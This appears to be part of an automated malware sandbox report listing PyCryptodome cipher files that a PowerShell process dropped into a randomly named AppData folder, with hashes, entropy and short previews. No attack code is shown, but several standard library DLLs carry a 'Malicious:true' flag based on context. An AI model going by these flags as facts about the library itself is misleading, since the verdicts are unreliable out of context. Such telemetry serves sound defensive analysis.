              Preview:# -*- coding: utf-8 -*-..#..# Cipher/mode_ofb.py : OFB mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ofb.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):716
              Entropy (8bit):4.736539689518066
              Encrypted:false
              SSDEEP:
              MD5:AFB364F0C9ADDDBA29076577257DFC52
              SHA1:208940A0B5304122118AD8E33CB8B8AF35228146
              SHA-256:C3F9CFE344BE5B88677256A584AC428D271A23B45E856A77165844787980B63F
              SHA-512:00A6D68651C4AE8D159E15F6617421322764CBE06307D9E454A96FBEE925F37BB567A2365416B9C2F4A1FE3AD03185750AB65B8B6BD08878446C8368508D45F8
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['OfbMode']....class OfbMode(object):.. block_size: int.. iv: Buffer.. IV: Buffer.. .. def __init__(self,.. block_cipher: SmartPointer,.. iv: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_openpgp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7259
              Entropy (8bit):4.832276328481339
              Encrypted:false
              SSDEEP:
              MD5:A64ED188605DD3505B7F51513EC9397D
              SHA1:38198DDFB53F1C410999AC0622F27328F7EB3D85
              SHA-256:3F71E4528BD24F3CC96BDEA89BC1CAC2FE69FC198C4DB07BFD0A1C997827FAE4
              SHA-512:0559C532F2D2B5DF2994AA16C0204C2AC27283B5540530BD1F069BC46A4C1F6A5E8142976DF29AC112B7F24E49200EA2DCF7C0C3BB1E537B559E2D616D148732
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_openpgp.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):576
              Entropy (8bit):4.621504702467695
              Encrypted:false
              SSDEEP:
              MD5:C1EADE4DE0796F8C003DBB655E410274
              SHA1:283080AEFA8D7F00772CE108277688D55519EF46
              SHA-256:5E1521B1EA98D146374597A94FF5DF82FBE49F7C3DC06F6DB03379E1EA79D7E5
              SHA-512:3D2601FFBB3EC84FDEF28FBF4F409CBBF60D220B394D256FD13728EF5F0CC587FC2EDB00C868C10EEF7E0303508949D79DC23F3998E5CE2D4942A2A625BFC676
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union, Dict....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['OpenPgpMode']....class OpenPgpMode(object):.. block_size: int.. iv: Union[bytes, bytearray, memoryview].. IV: Union[bytes, bytearray, memoryview].. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. iv: Buffer,.. cipher_params: Dict) -> None: ..... def encrypt(self, plaintext: Buffer) -> bytes: ..... def decrypt(self, plaintext: Buffer) -> bytes: .......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_siv.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14369
              Entropy (8bit):4.787903135099736
              Encrypted:false
              SSDEEP:
              MD5:ED410BD9244F81EE63DE5883EA85F821
              SHA1:2C04FA9C2F06F167CC5411C41A925F9E56337ABB
              SHA-256:BEB9B03EE0819457C449970767BC7FE3F671A385BED8B7C018BBD3EDD2F9C45D
              SHA-512:57081239F77B97D2EF811207B0F29518D9C44E216A529F59B17726B7E378853E0E771E2120C8EBC759A323A4AEED330E3DB3A291FE25F523AC5D782431003CD2
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_siv.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1299
              Entropy (8bit):4.379657025743841
              Encrypted:false
              SSDEEP:
              MD5:FB584A8E53BC1B138B3932BDF16901D5
              SHA1:CF4F2426C15F17BD613A304B3E7F19A181E2035E
              SHA-256:80DAE2A187B04F2E3729BCDF78DE0DB31E22CA0922AD420F65077C448F1538E5
              SHA-512:05D214D0B39CA5566EA833772207D823AF350AEDDAF4A76C9569024D2A374D48FC48A0729B226A1A934E7CA179A5130ABB4232D3412BA27C9DA3DB214A9358BA
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union, Tuple, Dict, Optional, overload....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['SivMode']....class SivMode(object):.. block_size: int.. nonce: bytes.. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. kwargs: Dict) -> None: ..... .. def update(self, component: Buffer) -> SivMode: ....... def encrypt(self, plaintext: Buffer) -> bytes: ..... def decrypt(self, plaintext: Buffer) -> bytes: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ....... @overload.. def encrypt_and_digest(self,.. plaintext: Buffer) -> Tuple[bytes, bytes]: ..... @overload.. def encrypt_and_digest(self,.. plaintext: Buffer,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):10752
              Entropy (8bit):5.484733570503228
              Encrypted:false
              SSDEEP:
              MD5:B706A2C68D968D3DEBABB2032974A2D8
              SHA1:99EF37D64024D73FE6460BE6F358C5AC3171A4E2
              SHA-256:D23FC438498AFFB3C31BFE0E2BDA167D442D56F59D1AD86A52862E437B2E3B7A
              SHA-512:0CD9DF22203128060DED8CE7545B7387A89A3F9A840D3CFD17965339366FC6343936C5A62C0C86BAB9C300CF7126443E260F0DFCAD871A6C10E749F733030583
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...7..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..h...x1...............................0..@............0..|............................text............................... ..`.rdata.......0......................@..@.data........@.......$..............@....rsrc........P.......&..............@..@.reloc..h....`.......(..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_pkcs1_oaep_decode.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1865
              Entropy (8bit):3.3643263236552166
              Encrypted:false
              SSDEEP:
              MD5:F93AE45150224E27A0198060D999FF3F
              SHA1:25CA8C5737157BED998870A4C5F2A53392FE4298
              SHA-256:9F8950FEEB6BE54C20FE83B79D18B33C773591E4BFD2F6ED85865E4E12677616
              SHA-512:CA4D755B859FBDDA17F5B498A2B6A718FCB452D3AD71715D84707B5D3EFFE383FCB1AD23E2CE34387ABD390825135C18AD2152B35AA23FD0717660AD63F4C1C3
              Malicious:false
              Reputation:unknown
              Preview:from Crypto.Util._raw_api import (load_pycryptodome_raw_lib, c_size_t,.. c_uint8_ptr)......_raw_pkcs1_decode = load_pycryptodome_raw_lib("Crypto.Cipher._pkcs1_decode",.. """.. int pkcs1_decode(const uint8_t *em, size_t len_em,.. const uint8_t *sentinel, size_t len_sentinel,.. size_t expected_pt_len,.. uint8_t *output);.... int oaep_decode(const uint8_t *em,.. size_t em_len,.. const uint8_t *lHash,.. size_t hLen,.. const uint8_t *db,.. size_t db_len);.. """)......def pkcs1_decode(em, sentinel, expected_pt_len, output):.. if len(em) != len(output):..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):30720
              Entropy (8bit):6.9032080362564345
              Encrypted:false
              SSDEEP:
              MD5:A37E15DDFA1524FE9C504A1D55C23559
              SHA1:010CF9919E4A5740727F97A669A4A48AA1C02535
              SHA-256:627D3E576E266183380510BB3E2BED66BBA719A6F8DB6352E4A7888AE46C72CE
              SHA-512:F93D09CEA003960007811DD60D129CA65118DF19A5DE9DC38960A16FF51062288D80BF47F2130904EF50CED4ED493E5C1A0569C63B3DF0E8D596CF94675A03B0
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.?.go..v...ao..(...`o..co..Bo..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.S.bo..Y..bo..Richco..................PE..L...5..e...........!...%.8...>......N........P............................................@..........................}.......}..d...............................t....y...............................x..@............P..t............................text....6.......8.................. ..`.rdata...0...P...2...<..............@..@.data................n..............@....rsrc................p..............@..@.reloc..t............r..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):12800
              Entropy (8bit):5.762397320029445
              Encrypted:false
              SSDEEP:
              MD5:6AB9193AB53A28C1893E80CBF5102ED7
              SHA1:4AA6B668B234BFD7A846B83566AC7112C924095E
              SHA-256:67642FEF35FD3764888D9302148CAD0C389AE794D1B0BA0633EEACEEB48A557F
              SHA-512:914ACB9C821967341CF9B55860BC094FB75FFAEC24DA3EC0F2DD62BE1907E4C205553E262E247DD0CFBD0DA7D2493127960754FE72242C699E6A5F7DB3D30EC9
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.).go..v...ao..(...`o..co..Go..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.E.bo..Y..bo..Richco..........................PE..L...5..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`......x1...............................0..@............0...............................text............................... ..`.rdata..(....0......."..............@..@.data...|....@.......,..............@....rsrc........P......................@..@.reloc.......`.......0..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):14848
              Entropy (8bit):6.06959711583454
              Encrypted:false
              SSDEEP:
              MD5:A332271C53E041B9B892B60AD8DA8830
              SHA1:97E1ABC3C89477F46E74CD3F3B5815452DAA3CED
              SHA-256:C1ADDB480CB90A9D8A2F5F73BC8EBCB3FD9D5BF8EE72D4F63D5DF759DE7733D5
              SHA-512:1418851A0FE0E86F8118B2928369FE59C96FAEB702234F0674CDBB5D9A83706BF4238ED1AF68C507C72ED62628F899B0086D1D9DF5DA8A31B5DB2A8F0946DD56
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...6..e...........!...%.&..........N........@............................................@..........................F.......F..d....`.......................p..h...pB...............................A..@............@..x............................text....%.......&.................. ..`.rdata.......@.......*..............@..@.data........P.......4..............@....rsrc........`.......6..............@..@.reloc..h....p.......8..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):15872
              Entropy (8bit):6.494825200863079
              Encrypted:false
              SSDEEP:
              MD5:08A86CD45DA8764652261557F683BF2B
              SHA1:978152B4C470499DC40653F9A3543403EBA8673D
              SHA-256:37F946698ACCD3BBD777F791420765B079D634EE21749ED8239C963CE4857ED1
              SHA-512:E924037488FB568FD24064CDC9DD6EF7D6DF70FDF557CB12FBFDFB6D348F44DA52CC1BD551A56DB9BA4D0B49C085246A68B2CBBCC73087D557A4946EABCDD401
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...6..e...........!...%....."......N........0............................................@.........................@E.......E..d....`.......................p.......A...............................@..@............0..x............................text...#........................... ..`.rdata..H....0......................@..@.data........P.......8..............@....rsrc........`.......:..............@..@.reloc.......p.......<..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):22016
              Entropy (8bit):6.926890977760638
              Encrypted:false
              SSDEEP:
              MD5:47E50117EC9091C856FC542D03ED73B5
              SHA1:3DFF4B70A74BCA801EC39E0B90BA0DDC764BB43A
              SHA-256:61B97957C93FC40AB9C7BDBEACA19FBD4D0EEA25ECE9A71447B6613663FC7037
              SHA-512:3C83924C5216FFD5353BAD3F4D1A1CD098E154B476A5AA9270A6D4D9F5C5E32F61DA0FD1F75FBB13D743A3D7FAEB7FC1106DEA413D41D154FA720B3AF9BD6015
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...6..e...........!...%. ...4......K........0............................................@..........................U.......U..d....p..............................pQ...............................P..@............0..x............................text............ .................. ..`.rdata...(...0...*...$..............@..@.data........`.......N..............@....rsrc........p.......P..............@..@.reloc...............R..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):9728
              Entropy (8bit):5.171425485428604
              Encrypted:false
              SSDEEP:
              MD5:F2E41F7FA11EAD634DC262A6EDDD19E8
              SHA1:64017A83607BD8FAD9047160FBF362C484F994DF
              SHA-256:B6D80A0833306F7182F6D73059E7340BBF7879F5B515194EC4FF59D423557A7D
              SHA-512:086F0E68B401DEF52D1D6F2CE1F84481C61A003F82C80BE04A207754D4ABEB13B9E4EB714A949009280C2D6F3FDE10CA835A88B3B8DBA3597780FBF3E378A870
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...8..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..T...p1...............................0..@............0..x............................text............................... ..`.rdata.. ....0......................@..@.data........@....... ..............@....rsrc........P......."..............@..@.reloc..T....`.......$..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):10240
              Entropy (8bit):5.558555109421982
              Encrypted:false
              SSDEEP:
              MD5:40DA301B2DBB903A6D0F269E02B74C01
              SHA1:F21E443AABEE71F24247939BD2FACD73A1281EA5
              SHA-256:1D6A5CA1CFB202B6588FE34461A53AC07EF3DC1D3883A44F989F70E44A19B9B1
              SHA-512:98B73ED15CE74F8A5C8AC4CBCC090AFE4F769F8E5C37AA47B2728D08F376AE206507FBF78B84653B90A6C3CA81CCB533FA2EBB298148501EB65F72B53CBDAAB3
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.).go..v...ao..(...`o..co..Go..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.E.bo..Y..bo..Richco..........................PE..L...8..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..p...x1...............................0..@............0...............................text............................... ..`.rdata..>....0......................@..@.data........@......."..............@....rsrc........P.......$..............@..@.reloc..p....`.......&..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ctr.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):11776
              Entropy (8bit):5.519606577195779
              Encrypted:false
              SSDEEP:
              MD5:486E327A3CE0AC5572B56D020D5AA8EF
              SHA1:EC3FF56AE79C4AF838D698C3BBB7AC14ED3AD38C
              SHA-256:0A7AED1D4299AB5D05C4AB980EBA8C745046EF58F4B71A11EB49403A20D969B4
              SHA-512:85CF216418FAFF1055AA93C527991791EE639E1D1646BE3511B1B52D98695CFC35E0AD34F195D205E676F2325104D1190AFED884DAD77A1A2D74E9CC220D3280
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............m..m..m...B.m.....m......m..m..m.....m.....m.....m.....m.....m.....m.....m..Rich.m..................PE..L...8..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..t....1...............................0..@............0...............................text...5........................... ..`.rdata..Z....0......................@..@.data........@.......(..............@....rsrc........P.......*..............@..@.reloc..t....`.......,..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):52736
              Entropy (8bit):4.0656100659160295
              Encrypted:false
              SSDEEP:
              MD5:72E81E0AA577D9D81C5C3CAD1B903C42
              SHA1:0F2AEB62DBECBA33672F17185E9C48A7FB81B733
              SHA-256:3FE757286AC1EB7A0849754D39241849DA6AC180F3F00130DF9C463E95C54E93
              SHA-512:0230EAE97B0E4E4540B728A42D2C11C3557968700D3FE2E54BB994ECE0B5ECBC040C26C3DF283126CB273BD9BE617DA177F567EA2EF288F6671CD840A8875E64
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m... .m.....m......m..m..m.....m.....m.....m....m....m...L.m....m..Rich.m..................PE..L...7..e...........!...%.,..........K........@............................................@.....................................d...................................................................0...@............@..t............................text....+.......,.................. ..`.rdata..f....@.......0..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des3.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):53248
              Entropy (8bit):4.077473733872226
              Encrypted:false
              SSDEEP:
              MD5:13DB4314B4AE3F3C8B541F842E831DB4
              SHA1:8709FA23A0057402E3E94B4262A162FA0AF9640C
              SHA-256:84032E401673D1C7F9661841AF4F2747FB096EE8ADF59DFB5C1E2FEF94F49EF2
              SHA-512:FD959DE638B5A5908C4B777EC56697F83A209922F40798A2C0B62E41B079063921C623BE83ED90CC10D822B143DEB93F4903919CE46265F8C8F27FA707C8B329
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m... .m.....m......m..m..m.....m.....m.....m....m....m...L.m....m..Rich.m..................PE..L...7..e...........!...%............K........@............................................@.....................................d...................................................................0...@............@..t............................text....,.......................... ..`.rdata..j....@.......2..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ecb.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):8704
              Entropy (8bit):5.029367168244223
              Encrypted:false
              SSDEEP:
              MD5:3970C52465D267D2692C4AB1BECBE436
              SHA1:08559677F1D8D91616C09C206D3DA44B69D740F4
              SHA-256:DA4C8C8FFA7238D9650651781626FF04582744D5B6A00D846AA80B5E9DF36E7D
              SHA-512:D7D3AD7982691C37C1779AFA1B3CE40C9E898F9B9B0ACECCC58BD587E122ECE9783234884C809EA101DFBADDAF297E0E7CA51EB0D46F1CB496D909EA215E2E12
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...N...N...N...6R..N...1...N..6...N...N...N...1...N...1...N...1...N.......N.......N....>..N.......N..Rich.N..........PE..L...8..e...........!...%............N........ ...............................`............@..........................$......x%..P....@.......................P..@...`!............................... ..@............ ..h............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..@....P....... ..............@..B................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):16384
              Entropy (8bit):6.526462793627883
              Encrypted:false
              SSDEEP:
              MD5:5D527E027D7CD82AFCDA3D25BEE98644
              SHA1:70D30563E42F69389F910EDDE557FC66503E06CA
              SHA-256:C37B2DA0EDEE31C4373F6F8262B9B2A28500E5DF116FB295F6FDB254A5036B1A
              SHA-512:5D4995AFABB515688CD3F82331890BA44D751BB1ABD57712C30A64C61DB12F4F8C76B874C6FE0F49146E85C42D1508DC7EE27DBCB39B79AE2968BDDF4CB36A14
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...6..e...........!...%....."......N........0............................................@.........................@E.......E..d....`.......................p..l....A...............................@..@............0..x............................text...c........................... ..`.rdata..T....0....... ..............@..@.data........P.......:..............@....rsrc........`.......<..............@..@.reloc..l....p.......>..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ocb.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):12288
              Entropy (8bit):5.650404338192952
              Encrypted:false
              SSDEEP:
              MD5:613F4A720263F2C2A86403C965738D10
              SHA1:8E653689066492962E58F1207D3FF60DCFBA4165
              SHA-256:DBCFCB8271FA0B9E39BB6A500E7DD347A5D755B66A0DAAD482877C57DE925E84
              SHA-512:86A4E22EBB03A0A55ED6A9633E02EAD74D3853161E4F96DCE7CF1866125DC5F49F0E94C0368FB1B010C1AEAF58CBCAF5AA1761CD0CE4DED67C6983F74C6375E8
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...8..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..`...x1...............................0..@............0..|............................text............................... ..`.rdata..t....0....... ..............@..@.data........@.......*..............@....rsrc........P.......,..............@..@.reloc..`....`......................@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ofb.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):9216
              Entropy (8bit):5.251888806104761
              Encrypted:false
              SSDEEP:
              MD5:E317185ECB97DC7A2F593AF9F560EBE4
              SHA1:6464275D8B01CAA9ECE19DB72E7830D6D42F7B40
              SHA-256:A848E7259C073749FF0EA33B93D55EA2A3C1FBA6360F0D88EED6F47420FDE6B6
              SHA-512:87D6A825AB55E760DC2A40D5F4379C20D6F3CF055953F9F759E7F6E4702382714A65DD8C9ACBC18803DEE9BD87DD81AF477F0825EC4608EAB3C1625F6843000E
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...8..e...........!...%............N........ ...............................`............@..........................%.......%..d....@.......................P..L...p!............................... ..@............ ..x............................text............................... ..`.rdata.. .... ......................@..@.data........0......................@....rsrc........@....... ..............@..@.reloc..L....P......."..............@..B................................................................................................................................................................................................................................................................................................

